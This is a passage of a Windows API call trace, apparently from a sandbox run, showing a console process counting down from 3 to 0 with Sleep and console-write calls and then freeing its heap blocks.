(dwMilliseconds=0x64) [0170.709] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0170.714] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ed [0170.714] Sleep (dwMilliseconds=0x64) [0170.840] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0170.843] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ee [0170.843] _vsnwprintf (in: _Buffer=0xdfd24, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xdfa98 | out: _Buffer="\x083") returned 2 [0170.843] SetConsoleCursorPosition (hConsoleOutput=0x3c, dwCursorPosition=0x3000d) returned 1 [0170.845] __iob_func () returned 0x75731208 [0170.845] _fileno (_File=0x75731228) returned 1 [0170.845] _errno () returned 0xa605b0 [0170.845] _get_osfhandle (_FileHandle=1) returned 0x3c [0170.845] _errno () returned 0xa605b0 [0170.845] GetFileType (hFile=0x3c) returned 0x2 [0170.845] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0170.845] GetFileType (hFile=0x3c) returned 0x2 [0170.845] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xdfa74 | out: lpMode=0xdfa74) returned 1 [0170.848] __iob_func () returned 0x75731208 [0170.848] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0170.848] lstrlenW (lpString="\x083") returned 2 [0170.848] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xdfd24*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xdfa98, lpReserved=0x0 | out: lpBuffer=0xdfd24*, lpNumberOfCharsWritten=0xdfa98*=0x2) returned 1 [0170.924] Sleep (dwMilliseconds=0x64) [0171.036] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0171.042] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ee [0171.042] Sleep (dwMilliseconds=0x64) [0171.152] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0171.262] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ee [0171.262] Sleep (dwMilliseconds=0x64) [0171.366] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0171.368] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ee [0171.368] Sleep (dwMilliseconds=0x64) [0171.519] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0171.523] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ee [0171.523] Sleep (dwMilliseconds=0x64) [0171.687] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0171.702] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ee [0171.702] Sleep (dwMilliseconds=0x64) [0171.858] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0171.875] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ef [0171.875] _vsnwprintf (in: _Buffer=0xdfd24, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xdfa98 | out: _Buffer="\x082") returned 2 [0171.875] SetConsoleCursorPosition (hConsoleOutput=0x3c, dwCursorPosition=0x3000d) returned 1 [0171.877] __iob_func () returned 0x75731208 [0171.877] _fileno (_File=0x75731228) returned 1 [0171.877] _errno () returned 0xa605b0 [0171.877] _get_osfhandle (_FileHandle=1) returned 0x3c [0171.877] _errno () returned 0xa605b0 [0171.877] GetFileType (hFile=0x3c) returned 0x2 [0171.877] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0171.877] GetFileType (hFile=0x3c) returned 0x2 [0171.878] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xdfa74 | out: lpMode=0xdfa74) returned 1 [0171.882] __iob_func () returned 0x75731208 [0171.882] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0171.882] lstrlenW (lpString="\x082") returned 2 [0171.882] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xdfd24*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xdfa98, lpReserved=0x0 | out: lpBuffer=0xdfd24*, lpNumberOfCharsWritten=0xdfa98*=0x2) returned 1 [0171.892] Sleep (dwMilliseconds=0x64) [0172.020] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0172.040] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ef [0172.040] Sleep (dwMilliseconds=0x64) [0172.142] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0172.152] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ef [0172.152] Sleep (dwMilliseconds=0x64) [0172.255] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0172.266] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ef [0172.266] Sleep (dwMilliseconds=0x64) [0172.369] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0172.381] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ef [0172.381] Sleep (dwMilliseconds=0x64) [0172.511] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0172.516] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ef [0172.516] Sleep (dwMilliseconds=0x64) [0172.645] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0172.655] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ef [0172.655] Sleep (dwMilliseconds=0x64) [0172.817] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0172.824] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9f0 [0172.824] _vsnwprintf (in: _Buffer=0xdfd24, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xdfa98 | out: _Buffer="\x081") returned 2 [0172.824] SetConsoleCursorPosition (hConsoleOutput=0x3c, dwCursorPosition=0x3000d) returned 1 [0172.829] __iob_func () returned 0x75731208 [0172.829] _fileno (_File=0x75731228) returned 1 [0172.829] _errno () returned 0xa605b0 [0172.829] _get_osfhandle (_FileHandle=1) returned 0x3c [0172.829] _errno () returned 0xa605b0 [0172.829] GetFileType (hFile=0x3c) returned 0x2 [0172.829] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0172.829] GetFileType (hFile=0x3c) returned 0x2 [0172.829] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xdfa74 | out: lpMode=0xdfa74) returned 1 [0172.833] __iob_func () returned 0x75731208 [0172.833] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0172.833] lstrlenW (lpString="\x081") returned 2 [0172.833] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xdfd24*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xdfa98, lpReserved=0x0 | out: lpBuffer=0xdfd24*, lpNumberOfCharsWritten=0xdfa98*=0x2) returned 1 [0172.836] Sleep (dwMilliseconds=0x64) [0172.942] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0172.948] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9f0 [0172.949] Sleep (dwMilliseconds=0x64) [0173.052] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0173.056] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9f0 [0173.056] Sleep (dwMilliseconds=0x64) [0173.345] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0173.357] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9f0 [0173.357] Sleep (dwMilliseconds=0x64) [0173.497] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0173.500] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9f0 [0173.500] Sleep (dwMilliseconds=0x64) [0173.610] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0173.612] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9f0 [0173.612] Sleep (dwMilliseconds=0x64) [0173.714] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0173.716] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9f0 [0173.716] Sleep (dwMilliseconds=0x64) [0173.822] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0173.827] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9f1 [0173.827] _vsnwprintf (in: _Buffer=0xdfd24, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xdfa98 | out: _Buffer="\x080") returned 2 [0173.827] SetConsoleCursorPosition (hConsoleOutput=0x3c, dwCursorPosition=0x3000d) returned 1 [0173.851] __iob_func () returned 0x75731208 [0173.851] _fileno (_File=0x75731228) returned 1 [0173.851] _errno () returned 0xa605b0 [0173.851] _get_osfhandle (_FileHandle=1) returned 0x3c [0173.851] _errno () returned 0xa605b0 [0173.851] GetFileType (hFile=0x3c) returned 0x2 [0173.851] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0173.851] GetFileType (hFile=0x3c) returned 0x2 [0173.851] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xdfa74 | out: lpMode=0xdfa74) returned 1 [0173.859] __iob_func () returned 0x75731208 [0173.859] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0173.859] lstrlenW (lpString="\x080") returned 2 [0173.859] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xdfd24*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xdfa98, lpReserved=0x0 | out: lpBuffer=0xdfd24*, lpNumberOfCharsWritten=0xdfa98*=0x2) returned 1 [0173.870] Sleep (dwMilliseconds=0x64) [0173.977] __iob_func () returned 0x75731208 [0173.977] _fileno (_File=0x75731228) returned 1 [0173.977] _errno () returned 0xa605b0 [0173.977] _get_osfhandle (_FileHandle=1) returned 0x3c [0173.977] _errno () returned 0xa605b0 [0173.977] GetFileType (hFile=0x3c) returned 0x2 [0173.977] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0173.977] GetFileType (hFile=0x3c) returned 0x2 [0173.977] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xdfa74 | out: lpMode=0xdfa74) returned 1 [0173.987] __iob_func () returned 0x75731208 [0173.987] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0173.987] lstrlenW (lpString="\n") returned 1 [0173.987] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xe9106c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0xdfa98, lpReserved=0x0 | out: lpBuffer=0xe9106c*, lpNumberOfCharsWritten=0xdfa98*=0x1) returned 1 [0173.988] GetProcessHeap () returned 0x480000 [0173.988] GetProcessHeap () returned 0x480000 [0173.988] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48dcb0) returned 1 [0173.988] GetProcessHeap () returned 0x480000 [0173.988] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48dcb0) returned 0xa0 [0173.988] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48dcb0 | out: hHeap=0x480000) returned 1 [0173.988] GetProcessHeap () returned 0x480000 [0173.988] GetProcessHeap () returned 0x480000 [0173.988] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48d370) returned 1 [0173.988] GetProcessHeap () returned 0x480000 [0173.988] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48d370) returned 0x10 [0173.989] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48d370 | out: hHeap=0x480000) returned 1 [0173.989] GetProcessHeap () returned 0x480000 [0173.989] GetProcessHeap () returned 0x480000 [0173.989] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c478) returned 1 [0173.989] GetProcessHeap () returned 0x480000 [0173.989] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c478) returned 0x14 [0173.989] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c478 | out: hHeap=0x480000) returned 1 [0173.989] GetProcessHeap () returned 0x480000 [0173.989] GetProcessHeap () returned 0x480000 [0173.989] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x488800) returned 1 [0173.989] GetProcessHeap () returned 0x480000 [0173.989] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x488800) returned 0x4 [0173.989] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x488800 | out: hHeap=0x480000) returned 1 [0173.989] GetProcessHeap () returned 0x480000 [0173.989] GetProcessHeap () returned 0x480000 [0173.989] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48d3a0) returned 1 [0173.989] GetProcessHeap () returned 0x480000 [0173.989] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48d3a0) returned 0x10 [0173.989] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48d3a0 | out: hHeap=0x480000) returned 1 [0173.989] GetProcessHeap () returned 0x480000 [0173.989] GetProcessHeap () returned 0x480000 [0173.989] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c458) returned 1 [0173.989] GetProcessHeap () returned 0x480000 [0173.989] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c458) returned 0x14 [0173.989] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c458 | out: hHeap=0x480000) returned 1 [0173.989] GetProcessHeap () returned 0x480000 [0173.989] GetProcessHeap () returned 0x480000 [0173.989] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c538) returned 1 [0173.989] GetProcessHeap () returned 0x480000 [0173.990] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c538) returned 0x208 [0173.990] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c538 | out: hHeap=0x480000) returned 1 [0173.990] GetProcessHeap () returned 0x480000 [0173.990] GetProcessHeap () returned 0x480000 [0173.990] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x487390) returned 1 [0173.990] GetProcessHeap () returned 0x480000 [0173.990] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x487390) returned 0x10 [0173.990] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x487390 | out: hHeap=0x480000) returned 1 [0173.990] GetProcessHeap () returned 0x480000 [0173.990] GetProcessHeap () returned 0x480000 [0173.990] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c2d8) returned 1 [0173.990] GetProcessHeap () returned 0x480000 [0173.990] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c2d8) returned 0x14 [0173.990] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c2d8 | out: hHeap=0x480000) returned 1 [0173.990] GetProcessHeap () returned 0x480000 [0173.990] GetProcessHeap () returned 0x480000 [0173.990] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48e408) returned 1 [0173.990] GetProcessHeap () returned 0x480000 [0173.990] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48e408) returned 0x200 [0173.990] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48e408 | out: hHeap=0x480000) returned 1 [0173.990] GetProcessHeap () returned 0x480000 [0173.990] GetProcessHeap () returned 0x480000 [0173.990] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48d3e8) returned 1 [0173.990] GetProcessHeap () returned 0x480000 [0173.990] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48d3e8) returned 0x10 [0173.991] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48d3e8 | out: hHeap=0x480000) returned 1 [0173.991] GetProcessHeap () returned 0x480000 [0173.991] GetProcessHeap () returned 0x480000 [0173.991] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c158) returned 1 [0173.991] GetProcessHeap () returned 0x480000 [0173.991] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c158) returned 0x14 [0173.991] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c158 | out: hHeap=0x480000) returned 1 [0173.991] GetProcessHeap () returned 0x480000 [0173.991] GetProcessHeap () returned 0x480000 [0173.991] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48d388) returned 1 [0173.991] GetProcessHeap () returned 0x480000 [0173.991] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48d388) returned 0xa [0173.991] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48d388 | out: hHeap=0x480000) returned 1 [0173.991] GetProcessHeap () returned 0x480000 [0173.991] GetProcessHeap () returned 0x480000 [0173.991] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48d358) returned 1 [0173.991] GetProcessHeap () returned 0x480000 [0173.991] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48d358) returned 0x10 [0173.991] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48d358 | out: hHeap=0x480000) returned 1 [0173.991] GetProcessHeap () returned 0x480000 [0173.991] GetProcessHeap () returned 0x480000 [0173.991] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c4f8) returned 1 [0173.991] GetProcessHeap () returned 0x480000 [0173.991] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c4f8) returned 0x14 [0173.991] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c4f8 | out: hHeap=0x480000) returned 1 [0173.991] GetProcessHeap () returned 0x480000 [0173.991] GetProcessHeap () returned 0x480000 [0173.991] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48d340) returned 1 [0173.991] GetProcessHeap () returned 0x480000 [0173.991] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48d340) returned 0xa [0173.992] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48d340 | out: hHeap=0x480000) returned 1 [0173.992] GetProcessHeap () returned 0x480000 [0173.992] GetProcessHeap () returned 0x480000 [0173.992] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48d328) returned 1 [0173.992] GetProcessHeap () returned 0x480000 [0173.992] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48d328) returned 0x10 [0173.992] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48d328 | out: hHeap=0x480000) returned 1 [0173.992] GetProcessHeap () returned 0x480000 [0173.992] GetProcessHeap () returned 0x480000 [0173.992] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c438) returned 1 [0173.992] GetProcessHeap () returned 0x480000 [0173.992] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c438) returned 0x14 [0173.992] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c438 | out: hHeap=0x480000) returned 1 [0173.992] GetProcessHeap () returned 0x480000 [0173.992] GetProcessHeap () returned 0x480000 [0173.992] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x483728) returned 1 [0173.992] GetProcessHeap () returned 0x480000 [0173.992] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x483728) returned 0x2 [0173.992] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x483728 | out: hHeap=0x480000) returned 1 [0173.992] GetProcessHeap () returned 0x480000 [0173.992] GetProcessHeap () returned 0x480000 [0173.992] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x4882c8) returned 1 [0173.992] GetProcessHeap () returned 0x480000 [0173.992] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x4882c8) returned 0x14 [0173.992] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x4882c8 | out: hHeap=0x480000) returned 1 [0173.992] GetProcessHeap () returned 0x480000 [0173.992] GetProcessHeap () returned 0x480000 [0173.993] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x4870d8) returned 1 [0173.993] GetProcessHeap () returned 0x480000 [0173.993] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x4870d8) returned 0x14 [0173.993] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x4870d8 | out: hHeap=0x480000) returned 1 [0173.993] GetProcessHeap () returned 0x480000 [0173.993] GetProcessHeap () returned 0x480000 [0173.993] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x4872e8) returned 1 [0173.993] GetProcessHeap () returned 0x480000 [0173.993] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x4872e8) returned 0x14 [0173.993] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x4872e8 | out: hHeap=0x480000) returned 1 [0173.993] GetProcessHeap () returned 0x480000 [0173.993] GetProcessHeap () returned 0x480000 [0173.993] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x482978) returned 1 [0173.993] GetProcessHeap () returned 0x480000 [0173.993] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x482978) returned 0x14 [0173.993] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x482978 | out: hHeap=0x480000) returned 1 [0173.993] GetProcessHeap () returned 0x480000 [0173.993] GetProcessHeap () returned 0x480000 [0173.993] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c218) returned 1 [0173.993] GetProcessHeap () returned 0x480000 [0173.993] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c218) returned 0x14 [0173.993] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c218 | out: hHeap=0x480000) returned 1 [0173.993] GetProcessHeap () returned 0x480000 [0173.993] GetProcessHeap () returned 0x480000 [0173.993] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c498) returned 1 [0173.993] GetProcessHeap () returned 0x480000 [0173.993] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c498) returned 0x14 [0173.993] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c498 | out: hHeap=0x480000) returned 1 [0173.993] GetProcessHeap () returned 0x480000 [0173.994] GetProcessHeap () returned 0x480000 [0173.994] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x4886c8) returned 1 [0173.994] GetProcessHeap () returned 0x480000 [0173.994] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x4886c8) returned 0x30 [0173.994] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x4886c8 | out: hHeap=0x480000) returned 1 [0173.994] GetProcessHeap () returned 0x480000 [0173.994] GetProcessHeap () returned 0x480000 [0173.994] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c238) returned 1 [0173.994] GetProcessHeap () returned 0x480000 [0173.994] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c238) returned 0x14 [0173.994] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c238 | out: hHeap=0x480000) returned 1 [0173.994] GetProcessHeap () returned 0x480000 [0173.994] GetProcessHeap () returned 0x480000 [0173.994] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x483828) returned 1 [0173.994] GetProcessHeap () returned 0x480000 [0173.994] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x483828) returned 0x24 [0173.994] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x483828 | out: hHeap=0x480000) returned 1 [0173.994] GetProcessHeap () returned 0x480000 [0173.994] GetProcessHeap () returned 0x480000 [0173.994] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c378) returned 1 [0173.995] GetProcessHeap () returned 0x480000 [0173.995] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c378) returned 0x14 [0173.995] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c378 | out: hHeap=0x480000) returned 1 [0173.995] GetProcessHeap () returned 0x480000 [0173.995] GetProcessHeap () returned 0x480000 [0173.995] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x487958) returned 1 [0173.995] GetProcessHeap () returned 0x480000 [0173.995] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x487958) returned 0x4c [0173.995] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x487958 | out: hHeap=0x480000) returned 1 [0173.995] GetProcessHeap () returned 0x480000 [0173.995] GetProcessHeap () returned 0x480000 [0173.995] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c4b8) returned 1 [0173.995] GetProcessHeap () returned 0x480000 [0173.995] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c4b8) returned 0x14 [0173.995] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c4b8 | out: hHeap=0x480000) returned 1 [0173.995] GetProcessHeap () returned 0x480000 [0173.995] GetProcessHeap () returned 0x480000 [0173.995] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x487528) returned 1 [0173.995] GetProcessHeap () returned 0x480000 [0173.995] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x487528) returned 0x10 [0173.995] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x487528 | out: hHeap=0x480000) returned 1 [0173.996] GetProcessHeap () returned 0x480000 [0173.996] GetProcessHeap () returned 0x480000 [0173.996] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x486ea0) returned 1 [0173.996] GetProcessHeap () returned 0x480000 [0173.996] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x486ea0) returned 0x14 [0173.996] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x486ea0 | out: hHeap=0x480000) returned 1 [0173.996] GetProcessHeap () returned 0x480000 